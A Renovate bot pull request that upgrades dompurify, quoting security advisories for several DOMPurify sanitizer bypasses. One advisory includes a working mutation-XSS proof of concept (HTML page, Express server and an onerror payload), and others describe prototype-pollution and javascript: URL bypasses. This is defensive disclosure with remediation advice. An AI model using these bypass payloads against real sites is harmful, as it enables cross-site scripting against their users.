Update dependency dompurify to v3 [SECURITY] by renovate[bot] · Pull Request #36 · eesast/md2wx

renovate · 2024-09-16T22:44:18Z

This PR contains the following updates:

Package	Change	Age	Confidence
dompurify	`^2.0.8` → `^3.0.0`

GitHub Vulnerability Alerts

CVE-2024-45801

It has been discovered that malicious HTML using special nesting techniques can bypass the depth checking added to DOMPurify in recent releases. It was also possible to use Prototype Pollution to weaken the depth check.

This renders dompurify unable to avoid XSS attack.

Fixed by cure53/DOMPurify@1e52026 (3.x branch) and cure53/DOMPurify@26e1d69 (2.x branch).

Severity

CVSS Score: 8.3 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

CVE-2024-47875

DOMpurify was vulnerable to nesting-based mXSS

fixed by 0ef5e537 (2.x) and
merge 943

Backporter should be aware of GHSA-mmhx-hmjr-r674 (CVE-2024-45801) when cherry-picking

POC is avaible under test

Severity

CVSS Score: 7.9 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H

CVE-2024-48910

dompurify was vulnerable to prototype pollution

Fixed by cure53/DOMPurify@d1dd037

Severity

CVSS Score: 9.3 / 10 (Critical)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

CVE-2025-26791

DOMPurify before 3.2.4 has an incorrect template literal regular expression when SAFE_FOR_TEMPLATES is set to true, sometimes leading to mutation cross-site scripting (mXSS).

Severity

CVSS Score: 4.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

GHSA-h8r8-wccr-v5f2

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

Start the PoC app:

npm install
npm start

Open http://localhost:3001.
Set Wrapper en sink to xmp.
Use payload:

 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">

Click Sanitize + Render.
Observe:

Sanitized response still contains the </xmp> sequence inside alt.
The sink reparses to include <img src="x" onerror="alert('expoc')">.
alert('expoc') is triggered.

Files:

index.html

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #&#8203;0f172a;
        --muted: #&#8203;475569;
        --accent: #&#8203;0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 100%;
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 9px 10px;
        font: inherit;
        background: #fff;
      }

      textarea {
        min-height: 110px;
        resize: vertical;
      }

      .row {
        display: grid;
        grid-template-columns: 1fr 230px;
        gap: 12px;
      }

      button {
        cursor: pointer;
        background: var(--accent);
        color: #fff;
        border-color: #&#8203;0284c7;
      }

      #sink {
        min-height: 90px;
        border: 1px dashed #&#8203;94a3b8;
        border-radius: 8px;
        padding: 10px;
        background: #f8fafc;
      }

      pre {
        margin: 0;
        white-space: pre-wrap;
        word-break: break-word;
      }

      .note {
        margin-top: 8px;
        font-size: 0.85rem;
      }

      .status-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
        gap: 8px;
        margin-top: 10px;
      }

      .status-item {
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 8px 10px;
        font-size: 0.85rem;
        background: #fff;
      }

      .status-item.vuln {
        border-color: #ef4444;
        background: #fef2f2;
      }

      .status-item.safe {
        border-color: #&#8203;22c55e;
        background: #f0fdf4;
      }

      @&#8203;media (max-width: 760px) {
        .row {
          grid-template-columns: 1fr;
        }
      }
    </style>
  </head>
  <body>
    <main>
      <h1>expoc - DOMPurify Server-Side PoC</h1>
      <p>
        Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
      </p>

      <div class="grid">
        <section class="card">
          <label for="payload">Payload</label>
          <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
          <div class="row" style="margin-top: 10px;">
            <div>
              <label for="wrapper">Wrapper en sink</label>
              <select id="wrapper">
                <option value="div">div</option>
                <option value="textarea">textarea</option>
                <option value="title">title</option>
                <option value="style">style</option>
                <option value="script" selected>script</option>
                <option value="xmp">xmp</option>
                <option value="iframe">iframe</option>
                <option value="noembed">noembed</option>
                <option value="noframes">noframes</option>
                <option value="noscript">noscript</option>
              </select>
            </div>
            <div style="display:flex;align-items:end;">
              <button id="run" type="button">Sanitize + Render</button>
            </div>
          </div>
          <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
          <div class="status-grid">
            <div class="status-item vuln">script (vulnerable)</div>
            <div class="status-item vuln">xmp (vulnerable)</div>
            <div class="status-item vuln">iframe (vulnerable)</div>
            <div class="status-item vuln">noembed (vulnerable)</div>
            <div class="status-item vuln">noframes (vulnerable)</div>
            <div class="status-item vuln">noscript (vulnerable)</div>
            <div class="status-item safe">div (no vulnerable)</div>
            <div class="status-item safe">textarea (no vulnerable)</div>
            <div class="status-item safe">title (no vulnerable)</div>
            <div class="status-item safe">style (no vulnerable)</div>
          </div>
        </section>

        <section class="card">
          <label>Sanitized response</label>
          <pre id="sanitized">(empty)</pre>
        </section>

        <section class="card">
          <label>Sink</label>
          <div id="sink"></div>
        </section>
      </div>
    </main>

    <script>
      const payload = document.getElementById('payload');
      const wrapper = document.getElementById('wrapper');
      const run = document.getElementById('run');
      const sanitizedNode = document.getElementById('sanitized');
      const sink = document.getElementById('sink');

      run.addEventListener('click', async () => {
        const response = await fetch('/sanitize', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ input: payload.value })
        });

        const data = await response.json();
        const sanitized = data.sanitized || '';
        const w = wrapper.value;

        sanitizedNode.textContent = sanitized;
        sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
      });
    </script>
  </body>
</html>

server.js

const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : '';
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});

package.json

{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}

Evidence

PoC

daft-video.webm

XSS triggered

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (xmp raw-text behavior).
Attacker-controlled sequence (</xmp>) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

Do not concatenate sanitized strings into new HTML wrappers followed by innerHTML.
Keep the rendering context stable from sanitize to sink.
Prefer DOM-safe APIs (textContent, createElement, setAttribute) over string-based HTML composition.
If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (xmp, script, etc.).
Add regression tests for context-switch/mXSS payloads (including </xmp>, </noscript>, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: Camilo Vera and Cristian Vargas.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

GHSA-cj63-jhhr-wcxv

Summary

When USE_PROFILES is enabled, DOMPurify rebuilds ALLOWED_ATTR as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via ALLOWED_ATTR[lcName], any Array.prototype property that is polluted also counts as an allowlisted attribute. An attacker who can set Array.prototype.onclick = true (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as onclick even when they are normally forbidden. The provided PoC sanitizes <img onclick=...> with USE_PROFILES and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.

Impact

Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.

Credits

Identified by Cantina’s Apex (https://www.cantina.security).

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

GHSA-cjmm-f4jc-qw8r

Summary

DOMPurify allows ADD_ATTR to be provided as a predicate function via EXTRA_ELEMENT_HANDLING.attributeCheck. When the predicate returns true, _isValidAttribute short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as <a href="javascript:alert(document.domain)"> and have the javascript: URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts href for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.

Impact

Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as javascript: to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.

Credits

Identified by Cantina’s Apex (https://www.cantina.security).

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

GHSA-39q2-94rc-95cp

Summary

In src/purify.ts:1117-1123, ADD_TAGS as a function (via EXTRA_ELEMENT_HANDLING.tagCheck) bypasses FORBID_TAGS due to short-circuit evaluation.

The condition:

!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])

When tagCheck(tagName) returns true, the entire condition is false and the element is kept — FORBID_TAGS[tagName] is never evaluated.

Inconsistency

This contradicts the attribute-side pattern at line 1214 where FORBID_ATTR explicitly wins first:

if (FORBID_ATTR[lcName]) { continue; }

For tags, FORBID should also take precedence over ADD.

Impact

Applications using both ADD_TAGS as a function and FORBID_TAGS simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

Suggested Fix

Check FORBID_TAGS before tagCheck:

if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }

Affected Version

v3.3.3 (commit 883ac15)

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Release Notes

cure53/DOMPurify (dompurify)

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GitHub Vulnerability Alerts

Severity

Severity

Severity

Severity

Description

Vulnerability

PoC

Evidence

Why This Happens

Remediation Guidance

Severity

Summary

Impact

Credits

Severity

Summary

Impact

Credits

Severity

Summary

Inconsistency

Impact

Suggested Fix

Affected Version

Severity

Release Notes

v3.4.0: DOMPurify 3.4.0

v3.3.3: DOMPurify 3.3.3

v3.3.2: DOMPurify 3.3.2

v3.3.1: DOMPurify 3.3.1

v3.3.0: DOMPurify 3.3.0

v3.2.7: DOMPurify 3.2.7

v3.2.6: DOMPurify 3.2.6

v3.2.5: DOMPurify 3.2.5

v3.2.4: DOMPurify 3.2.4

v3.2.3: DOMPurify 3.2.3

v3.2.2: DOMPurify 3.2.2

v3.2.1: DOMPurify 3.2.1

v3.2.0: DOMPurify 3.2.0

v3.1.7: DOMPurify 3.1.7

v3.1.6: DOMPurify 3.1.6

v3.1.5: DOMPurify 3.1.5

v3.1.4: DOMPurify 3.1.4

v3.1.3: DOMPurify 3.1.3

v3.1.2: DOMPurify 3.1.2

v3.1.1: DOMPurify 3.1.1

v3.1.0: DOMPurify 3.1.0

v3.0.11: DOMPurify 3.0.11

v3.0.10: DOMPurify 3.0.10

v3.0.9: DOMPurify 3.0.9

v3.0.8: DOMPurify 3.0.8

v3.0.7: DOMPurify 3.0.7

v3.0.6: DOMPurify 3.0.6

v3.0.5: DOMPurify 3.0.5

v3.0.4: DOMPurify 3.0.4

v3.0.3: DOMPurify 3.0.3

v3.0.2: DOMPurify 3.0.2

v3.0.1: DOMPurify 3.0.1

v3.0.0: DOMPurify 3.0.0

v2.5.9: DOMPurify 2.5.9

v2.5.8: DOMPurify 2.5.8

v2.5.7: DOMPurify 2.5.7

v2.5.6: DOMPurify 2.5.6

v2.5.5: DOMPurify 2.5.5

v2.5.4: DOMPurify 2.5.4

v2.5.3: DOMPurify 2.5.3

v2.5.2: DOMPurify 2.5.2

v2.5.1: DOMPurify 2.5.1

v2.5.0: DOMPurify 2.5.0

v2.4.9: DOMPurify 2.4.9

v2.4.8: DOMPurify 2.4.8

v2.4.7: DOMPurify 2.4.7

v2.4.6: DOMPurify 2.4.6

v2.4.5: DOMPurify 2.4.5

v2.4.4: DOMPurify 2.4.4

v2.4.3: DOMPurify 2.4.3

renovate bot commented Sep 16, 2024 •

edited

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`v3.4.0`: DOMPurify 3.4.0

`v3.3.3`: DOMPurify 3.3.3

`v3.3.2`: DOMPurify 3.3.2

`v3.3.1`: DOMPurify 3.3.1

`v3.3.0`: DOMPurify 3.3.0

`v3.2.7`: DOMPurify 3.2.7

`v3.2.6`: DOMPurify 3.2.6

`v3.2.5`: DOMPurify 3.2.5

`v3.2.4`: DOMPurify 3.2.4

`v3.2.3`: DOMPurify 3.2.3

`v3.2.2`: DOMPurify 3.2.2

`v3.2.1`: DOMPurify 3.2.1

`v3.2.0`: DOMPurify 3.2.0

`v3.1.7`: DOMPurify 3.1.7

`v3.1.6`: DOMPurify 3.1.6

`v3.1.5`: DOMPurify 3.1.5

`v3.1.4`: DOMPurify 3.1.4

`v3.1.3`: DOMPurify 3.1.3

`v3.1.2`: DOMPurify 3.1.2

`v3.1.1`: DOMPurify 3.1.1

`v3.1.0`: DOMPurify 3.1.0

`v3.0.11`: DOMPurify 3.0.11

`v3.0.10`: DOMPurify 3.0.10

`v3.0.9`: DOMPurify 3.0.9

`v3.0.8`: DOMPurify 3.0.8

`v3.0.7`: DOMPurify 3.0.7

`v3.0.6`: DOMPurify 3.0.6

`v3.0.5`: DOMPurify 3.0.5

`v3.0.4`: DOMPurify 3.0.4

`v3.0.3`: DOMPurify 3.0.3

`v3.0.2`: DOMPurify 3.0.2

`v3.0.1`: DOMPurify 3.0.1

`v3.0.0`: DOMPurify 3.0.0

`v2.5.9`: DOMPurify 2.5.9

`v2.5.8`: DOMPurify 2.5.8

`v2.5.7`: DOMPurify 2.5.7

`v2.5.6`: DOMPurify 2.5.6

`v2.5.5`: DOMPurify 2.5.5

`v2.5.4`: DOMPurify 2.5.4

`v2.5.3`: DOMPurify 2.5.3

`v2.5.2`: DOMPurify 2.5.2

`v2.5.1`: DOMPurify 2.5.1

`v2.5.0`: DOMPurify 2.5.0

`v2.4.9`: DOMPurify 2.4.9

`v2.4.8`: DOMPurify 2.4.8

`v2.4.7`: DOMPurify 2.4.7

`v2.4.6`: DOMPurify 2.4.6

`v2.4.5`: DOMPurify 2.4.5

`v2.4.4`: DOMPurify 2.4.4

`v2.4.3`: DOMPurify 2.4.3

`v2.4.2`: DOMPurify 2.4.2

`v2.4.1`: DOMPurify 2.4.1

`v2.4.0`: DOMPurify 2.4.0

`v2.3.12`: DOMPurify 2.3.12

`v2.3.11`: DOMPurify 2.3.11

`v2.3.10`: DOMPurify 2.3.10

`v2.3.9`: DOMPurify 2.3.9

`v2.3.8`: DOMPurify 2.3.8

`v2.3.6`: DOMPurify 2.3.6

`v2.3.5`: DOMPurify 2.3.5

`v2.3.4`: DOMPurify 2.3.4

`v2.3.3`: DOMPurify 2.3.3

`v2.3.2`: DOMPurify 2.3.2

`v2.3.1`: DOMPurify 2.3.1

`v2.3.0`: DOMPurify 2.3.0

`v2.2.9`: DOMPurify 2.2.9

`v2.2.8`: DOMPurify 2.2.8

`v2.2.7`: DOMPurify 2.2.7